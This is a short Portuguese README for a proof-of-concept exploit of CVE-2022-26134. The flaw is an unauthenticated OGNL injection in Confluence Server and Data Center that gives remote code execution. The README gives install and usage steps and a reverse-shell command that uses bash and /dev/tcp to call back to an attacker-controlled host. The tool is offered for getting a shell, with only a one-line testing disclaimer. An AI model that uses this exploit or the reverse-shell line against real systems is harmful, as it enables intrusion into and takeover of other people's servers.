keven1z/cve-2022-26134Um atacante remoto, sem autenticação no Confluence, pode construir expressões OGNL para injetar e executar código arbitrário no Confluence Server ou Data Center. O PoC foi modificado em um script existente para facilitar o getshell.
Atacantes remotos não autenticados podem construir expressões OGNL para injeção, executar código arbitrário no Confluence Server ou Data Center, POC modificado para facilitar a obtenção de shell. Porta comum: 8090
pip3 install requests
______ _______ ____ ___ ____ ____ ____ __ _ _____ _ _
/ ___\ \ / | ____| |___ \ / _ |___ \|___ \ |___ \ / /_ / |___ /| || |
| | \ \ / /| _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_
| |___ \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__ _|
\____| \_/ |_____| |_____|\___|_____|_____| |_____|\___/|_|____/ |_|
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
CVE-2022-26134
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URL alvo
-c COMMAND, --command COMMAND
Comando a executar, get shell:/bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1
python3 CVE-2022-26134.py -t [IP do servidor] -c [comando] //executar comando
Este script é apenas para fins de teste, não use para outros fins.